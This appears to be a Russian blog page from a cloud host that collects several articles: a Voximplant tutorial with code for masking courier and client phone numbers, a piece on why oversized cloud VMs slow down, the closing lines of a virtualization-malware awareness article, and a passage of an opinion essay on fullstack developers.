Назначение vCloak послужить практичным введением в проблему того, как виртуализация может использоваться для незаметного внедрения вредоносного ПО, чтобы пользователи были осведомлены в угрозах такого рода и могли от них защититься.

Также в статье упомянуты некоторые методы устранения таких угроз, доступные сегодня, плюс решения, планируемые в будущем. Важная возможность, которую следовало бы реализовать, чтобы защита от вредоносной виртуализации стала более подъемной задачей повысить прозрачность процессов, творящихся в виртуальной машине, а также позаботиться об эффективной нейтрализации угроз. Индустрия киберзащиты развивается и идет в ногу с современными решениями для виртуализации, но сейчас самое время остерегаться подобных угроз и заблаговременно выстраивать защиту от них.



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Скрываем номера курьеров и клиентов с помощью key-value хранилища

17.06.2021 18:06:38 | Автор: admin

В условиях пандемии курьерские сервисы стали востребованы как никогда прежде. Чтобы клиент и курьер могли созвониться для уточнения информации по заказу, им нужно знать номера телефонов друг друга. А что насчет соблюдения прайваси? Многие сервисы доставок уже озаботились этим вопросом после не очень приятных инцидентов, о которых вы могли читать в новостях.

Каждый сервис использует свои решения для маскировки номеров клиентов и курьеров. В данной статье я расскажу, как сделать это с помощью key-value хранилища в Voximplant.

Как это будет работать

Мы создадим сценарий, который позволит курьеру и клиенту созваниваться, не зная при этом личные номера телефонов друг друга.

У нас будет только один нейтральный номер, на который будут звонить и клиент, и курьер. Номер мы арендуем в панели Voximplant. Затем создадим некую структуру данных, где клиент и курьер будут связаны между собой номером заказа (то есть ключом в терминологии key-value storage).

Так при звонке на арендованный номер звонящий введёт номер заказа, и если такой заказ есть в базе, наш сценарий проверит номера телефонов, привязанные к нему. Далее если номер звонящего будет идентифицирован как номер клиента, произойдет соединение с курьером, ответственным за заказ, и наоборот.

Например, звонок курьера клиенту будет выглядеть следующим образом:

Если номер телефона звонящего не будет найден в базе, ему предложат перезвонить с того номера, который использовался при оформлении заказа, или переключиться на оператора.

Перейдем непосредственно к реализации.

Вам понадобятся

1) Чтобы начать разработку, войдите в свой аккаунт: manage.voximplant.com/auth. В меню слева нажмите Приложения, затем Создать приложение в правом верхнем углу. Дайте ему имя, например, numberMasking и снова кликните Создать.

2) Зайдите в новое приложение, переключитесь на вкладку Сценарии и создайте сценарий, нажав на +. Назовём его kvs-scenario. Здесь мы будем писать код, но об этом чуть позже.

3) Сначала перейдем во вкладку Роутинг и создадим правило для нашего сценария. Маску (регулярное выражение) оставим .* по умолчанию, так правило будет срабатывать для всех номеров.

4) Далее арендуем реальный городской номер. Для этого перейдем в раздел Номера, выберем и оплатим номер. На него будут звонить и клиент, и курьер, и он будет отображаться вместо их настоящих номеров.

В Voximplant вы можете приобретать в том числе тестовые номера, которые удобно использовать при знакомстве с платформой, но в нашем случае потребуется реальный для совершения исходящего звонка с платформы.

5) Осталось привязать его к нашему приложению. Заходим в приложение, открываем вкладку Номера Доступные и нажимаем Прикрепить. В открывшемся окне можно также прикрепить наше правило, тогда оно будет автоматически назначено для входящих вызовов, а все остальные правила будут проигнорированы.

6) Далее необходимо верифицировать аккаунт, чтобы использовать этот номер для звонков.

Отлично, структура готова, осталось заполнить key-value хранилище и добавить код в сценарий.

Key-value хранилище

Чтобы сценарий заработал, нужно положить что-то в хранилище. Это можно сделать, воспользовавшись Voximplant Management API. Я буду использовать Python API client, он работает с Python 2.x или 3.x с установленным pip и setuptools> = 18.5.

1) Зайдем в папку проекта и установим SDK, используя pip:

python -m pip install --user voximplant-apiclient

2) Создадим файл с расширением .py и добавим в него код, при выполнении которого данные о заказе попадут в key-value хранилище. Применим метод set_key_value_item:

from voximplant.apiclient import VoximplantAPI, VoximplantExceptionif __name__ == "__main__":    voxapi = VoximplantAPI("credentials.json")        # SetKeyValueItem example.    KEY = 12345    VALUE = '{"courier": "79991111111", "client": "79992222222"}'    APPLICATION_ID = 1    TTL = 864000        try:        res = voxapi.set_key_value_item(KEY,            VALUE,            APPLICATION_ID,            ttl=TTL)        print(res)    except VoximplantException as e:        print("Error: {}".format(e.message))

Файл с необходимыми credentials вы сможете сгенерировать при создании сервисного аккаунта в разделе Служебные аккаунты в настройках панели.

APPLICATION_ID появится в адресной строке при переходе в ваше приложение.

В качестве ключа (KEY) будет использоваться пятизначный номер заказа, а в качестве значений телефонные номера: courier номер курьера, client номер клиента. TTL нам здесь необходимо для указания срока хранения значений.

3) Осталось запустить файл, чтобы сохранить данные заказа:

python3 kvs.py

Если мы больше не захотим, чтобы клиент и курьер беспокоили друг друга, можно будет удалить их данные из хранилища. Информацию о всех доступных методах key-value storage вы найдёте в нашей документации: management API и VoxEngine.

Код сценария

Код, который необходимо вставить в сценарий kvs-scenario, представлен ниже, его можно смело копировать as is:

Полный код сценария
require(Modules.ApplicationStorage);/** * @param {boolean} repeatAskForInput - была ли просьба ввода произнесена повторно * @param longInputTimerId - таймер на отсутствие ввода * @param shortInputTimerId - таймер на срабатывание фразы для связи с оператором * @param {boolean} firstTimeout - индикатор срабатывания первого таймаута * @param {boolean} wrongPhone - индикатор совпадения номера звонящего с номером, полученным из хранилища * @param {boolean} inputRecieved - получен ли ввод от пользователя *  */let repeatAskForInput;let longInputTimerId;let shortInputTimerId;let firstTimeout = true;let wrongPhone;let inputRecieved;const store = {    call: null,    caller: '',    callee: '',    callid: '74990000000',    operator_call: null,    operatorNumber: '',    input: '',    data: {        call_operator: '',        order_number: '',        order_search: '',        phone_search: '',        sub_status: '',        sub_available: '',        need_operator: '',        call_record: ''    }}const phrases = {    start: 'Здр+авствуйтте. Пожалуйста, -- введите пятизначный номер заказa в тт+ооновом режиме.',    repeat: 'Пожалуйста , , - - введите пятизначный номер заказа в т+оновом режиме,, или нажмите решетку для соединения со специалистом',    noInputGoodbye: 'Вы - ничего не выбрали. Вы можете посмотреть номер заказа в смс-сообщении и позвонить нам снова. Всего д+обровоо до свидания.',    connectToOpearator: 'Для соединения со специалистом,, нажмите решетку',    connectingToOpearator: 'Ожидайте, соединяю со специалистом',    operatorUnavailable: 'К сожалению,, все операторы заняты. Пожалуйста,,, перезвоните позднее. Всего д+обровоо до свидания.',    wrongOrder: 'Номер заказа не найден. Посмотрите номер заказа в смс-сообщении и введите его в т+оновом режиме. Или свяжитесь со специалистом,, нажав клавишу решетка.',    wrongOrderGoodbye: 'Вы ничего не выбрали, всего д+обровоо до свидания.',    wrongPhone: 'Номер телефона не найден. Если вы кли+ент, перезвоните с номера, который использовали для оформления заказа. Если вы курьер, перезвоните с номера, который зарегистрирован в нашей системе. Или свяжитесь со специалистом,,- нажав клавишу решетка.',    wrongPhoneGoodbye: 'Вы ничего не выбрали. Всего доброго, до свидания!',    courierIsCalling: `Вам звонит курьер по поводу доставки вашего заказа, - - ${store.data.order_number}`,    clientIsCalling: `Вам звонит клиент по поводу доставки заказа, - - ${store.data.order_number} `,    courierUnavailable: 'Похоже,,, курь+ер недоступен. Пожалуйста,,, перезвоните через п+ару мин+ут. Всего д+обровоо до свидания.',    clientUnavailable: 'Похоже,,, абонент недоступен. Пожалуйста,,, перезвоните через пп+ару мин+ут. Всего д+обровоо до свидания.',    waitForCourier: 'Ожидайте на линии,, - соединяю с курьером.',    waitForClient: 'Ожидайте на линии,, соединяю с клиентом.'}VoxEngine.addEventListener(AppEvents.Started, async e => {    VoxEngine.addEventListener(AppEvents.CallAlerting, callAlertingHandler);})async function callAlertingHandler(e) {    store.call = e.call;    store.caller = e.callerid;    store.call.addEventListener(CallEvents.Connected, callConnectedHandler);    store.call.addEventListener(CallEvents.Disconnected, callDisconnectedHandler);    store.call.answer();}async function callDisconnectedHandler(e) {    await sendResultToDb();    VoxEngine.terminate();}async function callConnectedHandler() {    store.call.handleTones(true);    store.call.addEventListener(CallEvents.RecordStarted, (e) => {        store.data.call_record = e.url;    });    store.call.record();    store.call.addEventListener(CallEvents.ToneReceived, dtmfHandler);    await say(phrases.start);    addInputTimeouts();}function dtmfHandler(e) {    clearInputTimeouts();    store.input += e.tone;    Logger.write('Введена цифра ' + e.tone)    Logger.write('Полный код ' + store.input)    if (e.tone === '#') {        store.data.need_operator = "Да";        store.call.removeEventListener(CallEvents.ToneReceived);        store.call.handleTones(false);        callOperator();        return;    }    if (!wrongPhone) {        if (store.input.length >= 5) {            repeatAskForInput = true;            Logger.write(`Получен код ${store.input}. `);            store.call.handleTones(false);            store.call.removeEventListener(CallEvents.ToneReceived);            handleInput(store.input);            return;        }    }    addInputTimeouts();}function addInputTimeouts() {    clearInputTimeouts();    if (firstTimeout) {        Logger.write('Запущен таймер на срабатывание фразы для связи с оператором');        shortInputTimerId = setTimeout(async () => {            await say(phrases.connectToOpearator);        }, 1500);        firstTimeout = false;    }    longInputTimerId = setTimeout(async () => {        Logger.write('Сработал таймер на отсутствие ввода от пользователя ' + longInputTimerId);        store.call.removeEventListener(CallEvents.ToneReceived);        store.call.handleTones(false);        if (store.input) {            handleInput(store.input);            return;        }        if (!repeatAskForInput) {            Logger.write('Просим пользователя повторно ввести код');            store.call.handleTones(true);            store.call.addEventListener(CallEvents.ToneReceived, dtmfHandler);            await say(phrases.repeat);            addInputTimeouts();            repeatAskForInput = true;        } else {            Logger.write('Код не введен. Завершаем звонок.');            await say(inputRecieved ? phrases.wrongOrderGoodbye : phrases.noInputGoodbye);            store.call.hangup();        }    }, 8000);    Logger.write('Запущен таймер на отсутствие ввода от пользователя ' + longInputTimerId);}function clearInputTimeouts() {    Logger.write(`Очищаем таймер ${longInputTimerId}. `);    if (longInputTimerId) clearTimeout(longInputTimerId);    if (shortInputTimerId) clearTimeout(shortInputTimerId);}async function handleInput() {    store.data.order_number = store.input;    Logger.write('Ищем совпадение в kvs по введенному коду: ' + store.input)    inputRecieved = true;    let kvsAnswer = await ApplicationStorage.get(store.input);    if (kvsAnswer) {        store.data.order_search = 'Заказ найден';        Logger.write('Получили ответ от kvs: ' + kvsAnswer.value)        let { courier, client } = JSON.parse(kvsAnswer.value);        if (store.caller == courier) {            Logger.write('Звонит курьер')            store.callee = client;            store.data.sub_status = 'Курьер';            store.data.phone_search = 'Телефон найден';            callCourierOrClient();        } else if (store.caller == client) {            Logger.write('Звонит клиент')            store.callee = courier;            store.data.sub_status = 'Клиент';            store.data.phone_search = 'Телефон найден';            callCourierOrClient();        } else {            Logger.write('Номер звонящего не совпадает с номерами, полученными из kvs');            wrongPhone = true;            store.data.phone_search = 'Телефон не найден';            store.input = '';            store.call.handleTones(true);            store.call.addEventListener(CallEvents.ToneReceived, dtmfHandler);            await say(phrases.wrongPhone);            addInputTimeouts();        }    } else {        Logger.write('Совпадение в kvs по введенному коду не найдено');        store.data.order_search = 'Заказ не найден';        store.input = '';        store.call.handleTones(true);        store.call.addEventListener(CallEvents.ToneReceived, dtmfHandler);        await say(phrases.wrongOrder);        Logger.write(`Очищаем таймер ${longInputTimerId}. `);        addInputTimeouts();    }}async function callCourierOrClient() {    clearInputTimeouts();    Logger.write('Начинаем звонок курьеру/клиенту');    await say(store.data.sub_status === 'Курьер' ? phrases.waitForClient : phrases.waitForCourier, store.call);    const secondCall = VoxEngine.callPSTN(store.callee, store.callid);    store.call.startPlayback('http://cdn.voximplant.com/toto.mp3');    secondCall.addEventListener(CallEvents.Connected, async () => {        store.data.sub_available = 'Да';        await say(store.data.sub_status === 'Курьер' ? phrases.courierIsCalling : phrases.clientIsCalling, secondCall);        store.call.stopPlayback();        VoxEngine.sendMediaBetween(store.call, secondCall);    });    secondCall.addEventListener(CallEvents.Disconnected, () => {        store.call.hangup();    });    secondCall.addEventListener(CallEvents.Failed, async () => {        store.data.sub_available = 'Нет';        store.call.stopPlayback();        await say(store.data.sub_status === 'Курьер' ? phrases.clientUnavailable : phrases.courierUnavailable, store.call);        store.call.hangup();    });}async function callOperator() {    Logger.write('Начинаем звонок оператору');    await say(phrases.connectingToOpearator, store.call);    store.call.startPlayback('http://cdn.voximplant.com/toto.mp3');    store.operator_call = VoxEngine.callPSTN(store.operatorNumber, store.callid);    store.operator_call.addEventListener(CallEvents.Connected, async () => {        store.data.call_operator = 'Оператор свободен';        VoxEngine.sendMediaBetween(store.call, store.operator_call);    });    store.operator_call.addEventListener(CallEvents.Disconnected, () => {        store.call.hangup();    });    store.operator_call.addEventListener(CallEvents.Failed, async () => {        store.data.call_operator = 'Оператор занят';        await say(phrases.operatorUnavailable, store.call);        store.call.hangup();    });}async function sendResultToDb() {    Logger.write('Данные для отправки в БД');    Logger.write(JSON.stringify(store.data));    const options = new Net.HttpRequestOptions();    options.headers = ['Content-Type: application/json'];    options.method = 'POST';    options.postData = JSON.stringify(store.data);    await Net.httpRequestAsync('https://voximplant.com/', options);}function say(text, call = store.call, lang = VoiceList.Yandex.Neural.ru_RU_alena) {    return new Promise((resolve) => {        call.say(text, lang);        call.addEventListener(CallEvents.PlaybackFinished, function callback(e) {            resolve(call.removeEventListener(CallEvents.PlaybackFinished, callback));        });    });};

Код тщательно прокомментирован, но в некоторые моменты углубимся подробнее.

Вводим номер заказа

Первое, что мы делаем при звонке просим звонящего ввести номер заказа и обрабатываем введенное значение с помощью функции dtmfHandler.

store.input += e.tone;

Если звонящий ввел #, сразу соединяем его с оператором:

if (e.tone === '#') {    store.data.need_operator = "Да";    store.call.removeEventListener(CallEvents.ToneReceived);    store.call.handleTones(false);    callOperator();    return;}

Если он ввел последовательность из 5 цифр, вызываем функцию handleInput:

if (store.input.length >= 5) {    repeatAskForInput = true;    Logger.write('Получен код ${store.input}. ');    store.call.handleTones(false);    store.call.removeEventListener(CallEvents.ToneReceived);    handleInput(store.input);    return;}

Ищем заказ в хранилище

Здесь мы будем сравнивать введенный номер заказа с номером в хранилище, используя метод ApplicationStorage.get(), в качестве ключа используем введенную последовательность:

store.data.order_number = store.input;Logger.write('Ищем совпадение в kvs по введенному коду: ' + store.input)inputRecieved = true;let kvsAnswer = await ApplicationStorage.get(store.input);

Если заказ найден, получаем для него номера клиента и курьера:

if (kvsAnswer) {    store.data.order_search = 'Заказ найден';    Logger.write('Получили ответ от kvs: ' + kvsAnswer.value)    let { courier, client } = JSON.parse(kvsAnswer.value);

Теперь осталось разобраться, кому звонить. Если номер звонящего принадлежит курьеру, будем выполнять переадресацию на клиента, если клиенту на курьера. В этом нам поможет функция callCourierOrClient:

if (store.caller == courier) {    Logger.write('Звонит курьер')    store.callee = client;    store.data.sub_status = 'Курьер';    store.data.phone_search = 'Телефон найден';    callCourierOrClient();} else if (store.caller == client) {    Logger.write('Звонит клиент')    store.callee = courier;    store.data.sub_status = 'Клиент';    store.data.phone_search = 'Телефон найден';    callCourierOrClient();}

Если номера нет в хранилище, просим перезвонить с другого номера, который указывался при оформлении заказа:

else {    Logger.write('Номер звонящего не совпадает с номерами, полученными из kvs');    wrongPhone = true;    store.data.phone_search = 'Телефон не найден';    store.input = '';    store.call.handleTones(true);    store.call.addEventListener(CallEvents.ToneReceived, dtmfHandler);    await say(phrases.wrongPhone);    addInputTimeouts();}

И наконец, обрабатываем вариант, когда номер заказа не был найден в базе. В этом случае просим попробовать ввести его снова, предварительно удостоверившись, что номер верный:

else {    Logger.write('Совпадение в kvs по введенному коду не найдено');    store.data.order_search = 'Заказ не найден';    store.input = '';    store.call.handleTones(true);    store.call.addEventListener(CallEvents.ToneReceived, dtmfHandler);    await say(phrases.wrongOrder);    Logger.write(`Очищаем таймер ${longInputTimerId}. `);    addInputTimeouts();}

Звоним клиенту/курьеру

Переходим непосредственно к звонку клиенту/курьеру, то есть к логике функции callCourierOrClient. Здесь мы сообщим звонящему, что переводим его звонок на курьера/клиента, и включим музыку на ожидание. С помощью метода callPSTN позвоним клиенту или курьеру (в зависимости от того, чей номер был ранее идентифицирован как номер звонящего):

await say(store.data.sub_status === 'Курьер' ? phrases.waitForClient : phrases.waitForCourier, store.call);const secondCall = VoxEngine.callPSTN(store.callee, store.callid);store.call.startPlayback('http://cdn.voximplant.com/toto.mp3');

В этот же момент сообщим второй стороне о том, что звонок касается уточнения информации по заказу:

secondCall.addEventListener(CallEvents.Connected, async () => {    store.data.sub_available = 'Да';    await say(store.data.sub_status === 'Курьер' ? phrases.courierIsCalling : phrases.clientIsCalling, secondCall);    store.call.stopPlayback();    VoxEngine.sendMediaBetween(store.call, secondCall);});

Обработаем событие дисконнекта:

secondCall.addEventListener(CallEvents.Disconnected, () => {    store.call.hangup();});

И оповестим звонящего, если вторая сторона недоступна:

secondCall.addEventListener(CallEvents.Failed, async () => {    store.data.sub_available = 'Нет';    store.call.stopPlayback();    await say(store.data.sub_status === 'Курьер' ? phrases.clientUnavailable : phrases.courierUnavailable, store.call);    store.call.hangup();});

За все фразы, который произносит робот, отвечает функция say, а сами фразы перечислены в ассоциативном массиве phrases. В качестве TTS провайдера мы используем Yandex, голос Alena:

function say(text, call = store.call, lang = VoiceList.Yandex.Neural.ru_RU_alena) {    return new Promise((resolve) => {        call.say(text, lang);        call.addEventListener(CallEvents.PlaybackFinished, function callback(e) {            resolve(call.removeEventListener(CallEvents.PlaybackFinished, callback));        });    });};

Кроме всего прочего, наш сценарий записывает звонки, используя метод record, и показывает, как можно сохранить статистику в базу данных (в нашем коде за это отвечает функция sendResultToDb). Это очень важно для бизнеса, поскольку позволяет анализировать статистику, обеспечивать контроль качества и оперативно решать спорные ситуации, которые могли возникнуть в процессе доставки заказа.

Тестируем

Когда полный код добавлен в сценарий, а данные по заказу в хранилище, смело начинайте тестировать.

Позвоним с телефона клиента или курьера на номер, арендованный в панели. Затем введем номер заказа (в нашем случае это 12345) и будем ждать соединения со второй стороной.

Если все сделано верно, клиент и курьер смогут созваниваться и обсуждать детали заказа, не зная настоящих номеров друг друга, а значит, не нарушая прайваси. Круто, не так ли?) Желаем вам успешной разработки и беспроблемной доставки!

P.S. Также мой коллега недавно рассказал, как обезопасить общение клиента и курьера с помощью Voximplant Kit (наш low-code/no-code продукт). Если эта тема вас заинтересовала, переходите по ссылке :)

Подробнее..

Почему виртуалки на вырост начинают тормозить, и что с этим делать новичку

27.05.2021 14:07:09 | Автор: admin

Клиенты все чаще мигрируют в облака в погоне за гибкостью: здесь намного проще добавить диск, память и процессоры, если чего-то не хватает. Но иногда новички обнаруживают, что добавление ресурсов перестает помогать. Скорость работы не растет, а с бэкапом и восстановлением начинаются проблемы.

Сегодня вместе с @kvolodin мы расскажем, почему бесконечное увеличение ресурсов ВМ может вредить пользователям и как спланировать рост производительности очевидными, но действенными способами. Статья полезна тем, кто переехал или планирует переезд в облако и еще знакомится с нюансами облачной среды.

Очевидные причины: ограничения железа и бэкапов

Сейчас в нашем облаке добавление ресурсов сверх лимита можно ограничить на уровне софта. Если кто-то попробует выйти за пределы, сразу получит сообщение в интерфейсе Cloud Director:

Но так было не всегда. В старых версиях vCloud Director мы не могли жестко ограничить некоторые параметры и прописывали лимиты только в договоре. К сожалению, иногда информация из контракта даже не попадала к инженерам клиента, и они могли почувствовать последствия на своей шкуре.

Много лет назад мы предоставили клиенту квоту в 20 ТБ и предупредили про ограничение на диск в 16 ТБ. Резервное копирование данных делали с помощью Veeam Backup&Replication. Когда клиент вышел за пределы диска в 16 ТБ, все задачи на создание бэкапов просто зависли. Veeam не успевал забэкапить большую ВМ и на всякий случай оставлял неполный снэпшот, а затем создавал новый. Дерево снэпшотов стало расти слишком быстро, общая производительность диска тоже упала. Пришлось полночи заново создавать дерево снэпшотов, а затем переносить данные на диски поменьше.

В те времена от подобных инцидентов нас защищал мониторинг. Мы сразу видели непорядок на дашбордах и обращали внимание клиента на проблему. Трудность была в том, что в случае IaaS сами виртуалки оставались ответственностью клиента. Инженеру клиента нужно было самому пересоздавать ВМ, иногда с большим трудом.

Клиенту выделили квоту в 40 ТБ на СХД, а для диска ВМ прописали ограничение в 20 ТБ. Администратор клиента создал ВМ в 30 ТБ и разметил все дисковое пространство одним диском. Техподдержка обнаружила проблему, сообщила клиенту, что нужно пересоздать ВМ с дисками меньшего размера, но администраторы долго не выходили на связь.

В это время данные начали записываться на созданный диск большими темпами. Пока на СХД было свободное место, мы увеличивали размер дата-стора и ждали ответа от клиента. Но если бы расширять дата-стор дальше было невозможно, клиенту пришлось бы рисковать данными. Нужно было бы создать новый диск и перегнать данные на него. Миграция такой большой ВМ могла потребовать несколько дней, и оставалась вероятность неудачного переезда.

Базовые лимиты защищают клиента от многих проблем и позволяют обслуживать железо в штатном режиме. Мы не допускаем разрастания ВМ до пределов физического диска и избегаем трудностей с миграцией. Добавить ресурсы по запросу клиента по-прежнему можно, но только если в этом правда есть необходимость.

Но даже если физический лимит не превышен, могут возникнуть другие трудности.

Неочевидная работа гипервизора

Если виртуальная машина в облаке начинает тормозить и захлебываться, клиент чаще всего ищет причину в нехватке ресурсов. Увеличение виртуальной машины кажется логичным и быстрым ходом. Но в некоторых случаях расширение только ухудшает скорость работы.

У клиента регулярно возникали пиковые периоды активности. Раз в месяц нагрузка на системы увеличивалась и требовала больше процессоров. Клиент решил не отключать эти процессоры после пика, а оставить их про запас. Но в период низкой активности производительность упала и не давала выполнять рутинные задачи. Дело в том, что гипервизор отодвинул недозагруженные системы на второй план. Так работает планировщик: если ВМ не требует ресурсов, то в очереди она спускается ниже.

Клиенту облака по умолчанию доступна только информация из диспетчера задач и монитора ресурсов. Бывает и так, что на ОС клиент видит загрузкучасти ядер на 100%. В это же время мы на гипервизоре видим, что часть ядер не используется, потому что приложение не рассчитано на многопоточность. В таких ситуациях парадоксальным образом помогает именно уменьшение ресурсов до необходимого и достаточного уровня. После этого гипервизор лучше распределяет небольшие ВМ в очередях.

Некорректный сайзинг приложения в облаке

К сожалению, переезд приложения с физических хостов не всегда возможен в лоб. Даже если все работало на физических 24 процессорах, столько же процессоров в облаке не всегда решают проблему.

Один из клиентов перед переездом на новое железо решил временно разместить в облаке виртуальную АТС. Мы заглянули в документацию вендора и обнаружили явную несовместимость с vCloud Director. Производители АТС изначально не гарантировали стабильную работу своего приложения в облачной среде. Тем не менее, нашим инженерам удалось настроить работу софта с помощью нескольких хитростей. Клиент спокойно работал в облаке, пока не дождался поставки собственного железа. Но если быон захотел внести изменения в настройки, возникли бы трудности.

У крупных производителей софта несовместимость с облаком сразу прописана в документах. Менее очевидно дело обстоит с самописным ПО.

Клиент заказал виртуальную машину для переезда собственного приложения в облако. Через пару месяцев работы софт начал сильно тормозить. При аудите выяснилось, что объемные файлы по умолчанию сохраняются в одну директорию и нагружают файловую систему. За несколько месяцев там накопились уже миллионы файлов, и для решения проблемы понадобилась новая архитектура с несколькими хранилищами.

Даже если случай не такой экстремальный, при переезде с физических хостов не помешает пересмотреть подход к сайзингу приложения, изменить модель потребления ресурсов.

Например, бывают ситуации, когда пользователь привык к быстрой работе на ноутбуке с высокочастотными процессорами, а в облаке сталкивается с низкой скоростью. Характеристики Enterprise-железа в дата-центре рассчитаны на долгосрочную работу в режиме 24/7 и не допускают пограничных состояний. Если такой пользователь разгонял процессоры на своем ноутбуке до опасного максимума, то в облаке он не сможет добиться тех же скоростей от похожего процессора.

Случается и так, что приложение рассчитано на высоконагруженную базу, но размещается в облаке на SATA-дисках. Клиент видит загрузку процессоров и увеличивает ресурс CPU, не подозревая проблемы именно с дисками.

В то же время облако дает лучшие результаты при оптимизации приложения под несколько хранилищ. На физических хостах у разработчика меньше возможностей для маневра: как правило, все хранится на локальных одинаковых дисках. В облаке появляется вариативность: можно выбрать разные диски для разных типов хранения и даже немного сэкономить.

Один из клиентов хранил в своей базе данные трекинговой системы за три года такой срок хранения был предусмотрен нормативом. После переезда в облако удалось разделить хранилище на холодное и горячее. Редко используемые данные перемещались на медленные и дешевые холодные диски, а востребованная информация оставалась на быстрых дисках в горячем хранилище.

Подозрительная активность на ВМ

Когда снижение производительности подкрадывается постепенно, то переход на более производительные диски может и правда решить проблему. Если же загрузка ресурсов выросла резко, скорее всего, дело в шифровальщике или залетном майнере криптовалюты.

Неправильная настройка облачного межсетевого экрана у новых клиентов встречается не так уж редко. Иногда администраторы разрешают на граничном маршрутизаторе всем и все, а потом забывают об этом. Если мошенник обнаруживает уязвимость и завладевает машиной, то он забирает все ресурсы сразу, и докидывание процессоров не решает проблему.

Откуда берутся лимиты на ресурсы в облаке

Ограничения на диск

  1. Есть технические ограничения СХД. Яркий пример: блочный том многих моделей NetApp не может быть более 16 ТБ.

  2. Мы как провайдер провели тесты производительности СХД и рассчитали оптимальный размер дата-стора.

  3. Инфраструктура резервного копирования лучше справляется с бэкапом нескольких мелких объектов, чем одного большого.

Ограничения на CPU и память

  1. Ограничен размер физического хоста, на котором располагаются ВМ клиентов.

    При размере хоста 144 vCPU и 2 TБ памяти ВМ большего размера не получится создать при всем желании. (Cпасибо, кэп!)

  2. Для оптимального обращения к памяти мы учитываем особенности работы мультипроцессорных систем. Мы уже рассказывали об этом в статье про первую виртуальную машину.

    У клиента может быть сервис, который сам эффективно распределяет ресурсы памяти, тогда проблем не возникнет. В остальных же случаях нужно настраивать лимиты.

  3. С помощью некоторых лимитов мы можем управлять виртуальной платформой и предоставлять предсказуемый сервис с соблюдением SLA.

Ограничения на IOPS

В облаке также встречаются клиенты, у которых намного выше среднего параметры IOPS: количество операций ввода/вывода. Чаще всего это происходит в трех случаях:

  1. Клиент решил протестировать выделенные мощности на больших нагрузках.

  2. У клиента наблюдается аномальная нагрузка, например, из-за некорректной работы самописного софта или вирусов.

  3. Клиент установил высокопроизводительное приложение.

На любой из этих случаев мы задаем ограничения потребляемых дисковых мощностей, опираясь на результаты нагрузочного тестирования СХД. Сейчас можем ограничить каждый диск фиксированным значением IOPS или исходить из IOPS на ГБ.

Как новому клиенту вписаться в лимиты и обеспечить производительность

  1. При планировании переезда в облако ознакомиться с документацией на ПО. Некоторые производители софта сразу указывают, что их приложение не работает в облачной среде.

  2. До переезда протестировать работу приложения в облачной инфраструктуре. Большинство провайдеров позволяют клиентам брать пробный период и запускать синтетические тесты.

  3. Не стесняться обращаться в техподдержку. Инженеры могут оценить производительность со стороны гипервизора и дать рекомендации.

  4. Расти маленькими шагами: увеличить диски намного проще, чем резко их уменьшить. Увеличивать процессоры тоже лучше постепенно, начинать с одного ядра.

  5. Расти не вертикально, а горизонтально. Например, не добавлять 8 процессоров на одну ВМ, а создать 4 ВМ по 2 процессора на каждой. Вдобавок это уменьшит площадь отказа.

  6. Ставить виртуальные машины на внутренний мониторинг. В этом случае клиент может выбрать наиболее важные показатели работы ВМ и быстро получать оповещения об их состоянии. Это позволит вычислять неочевидные проблемы, которые не заметны на общем мониторинге.

Подробнее..

Есть будущее у Fullstack-разработчиков?

05.06.2021 16:05:21 | Автор: admin

"Неужели компании хотят так сильно экономить, что готовы терять в качестве и времени?"

Решил поделиться своим опытом, который достаточно тесно связан с Fullstack-разработчиками, в одном стартап (хотя бьются на рынке с 2016 года).

Сразу прокомментирую, что в этой статье нет цели оклеветать или высказать своё негативное мнение о компаниях. Нет! Я опираюсь только на их опыт и на полученные результаты.

Я занимаюсь подбором IT-специалистов и для того, чтобы не быть "тем самым HR, который сливает , а не помогает, своими оценочными тестами и вопросами вне понимания специфики работы", мне приходится изучать гигабайты информации на habr и других ресурсах. И в первых рядах моего несогласия, есть такая профессия - Fullstack-разработчик.

Немного для общего понимания поясню, почему я выбрал подход собирать информацию об IT-специалистах.

С 2018 года я начал вникать в эту сферу более плотно. Освоил основы HTML/CSS, познакомился с Python, PHP, Swift. Естественно эти познания подтолкнули меня сменить компанию из обычной на IT. Мне повезло и меня взяли в достаточно перспективный на мой взгляд стартап (разглашать не буду его название из добрых побуждений). Первые месяца три, я работал на должности специалиста по работе с клиентами, но сейчас понимаю, что на самом деле выполнял функционал Project-manager и одновременно Product Owner. Ну и по совместительству еще продавец и support.

Мне реально нравился проект и я горел его улучшить. Хотите верьте, хотите нет, но в этом проекте я стал хуже спать. Я постоянно думал, что можно улучшить. Я стал предлагать идеи по улучшению своему непосредственному, а тот вообще не про IT и очень скоро я понял, что я ему говорю свои идеи, а он просто не правильно их "продает" генеральному. Я не хочу сказать, что этот руководитель плохой. Наоборот, он достаточно внимательно относился ко всем сотрудникам и реально хотел донести мои идеи генеральному, но просто не владея техническим восприятием, он не мог объяснить так, как это говорил ему я.

Меня же это совсем не устраивало. Я хотел менять этот стартап. Я начал настаивать, чтобы он пригласил генерального на совещание и позвали меня тоже. Так я смог объяснить самостоятельно, что в проекте работает на мой взгляд не корректно и что и самое главное, КАК, нужно улучшить.

Генеральный оценил мой подход и что больше радовало, мои предложения. Совсем скоро меня утвердили уже как project-manager, а еще пол года спустя, назначили техническим директором. Но для меня эти статусы были не важны. Я хотел менять и я менял.

И вот мне все же пришлось упереться в стену, которую непроизвольно построили разработчики. Сейчас вы поймете о чем я. Проработав почти год в проекте и коммуницируя с Team Lead, я не знал, сколько в команде разработчиков. Мне пояснили, что проект новый на рынке (хотя я знал точно, что они не уникальны) и что не могут себе позволить разработчиков со стороны. Что есть команда, (как позже я все же выяснил, что она из 5 человек), в которой есть back&front и парочка как раз Fullstack-разработчиков. На них и держался весь проект.

Естественно они сильные специалисты и я и сейчас в шоке, как они все это стойко держали. Да, Scrum (Agile), Jira. Пользовались теми же инструментами, которые хвалил рынок. Но "бэклог" еженедельно рос. Спрос на продукт стремительно набирал обороты и я начал "кричать", пытаясь быть услышанным, что нам срочно нужно расширять команду разработчиков и причем принципиально , среди них не должны быть больше Fullstack. К тому моменту, когда негодование users начинало зашкаливать, из-за постоянных срывов обещанных дедлайнов, я явно видел, что для быстрого роста и своевременного исправления скопившихся багов, нужно брать людей на отдельные блоки. И вот тут-то мы и выяснили, что Fullstack-разработчики писали код так, что его нельзя пока что разделить на блоки. Что если пустить со стороны человека, то он будет видеть весь код. Увы, но такова была реальность. Приняли решение максимально срочно декомпозировать, но вы наверно знаете, что на практике это совсем не просто.

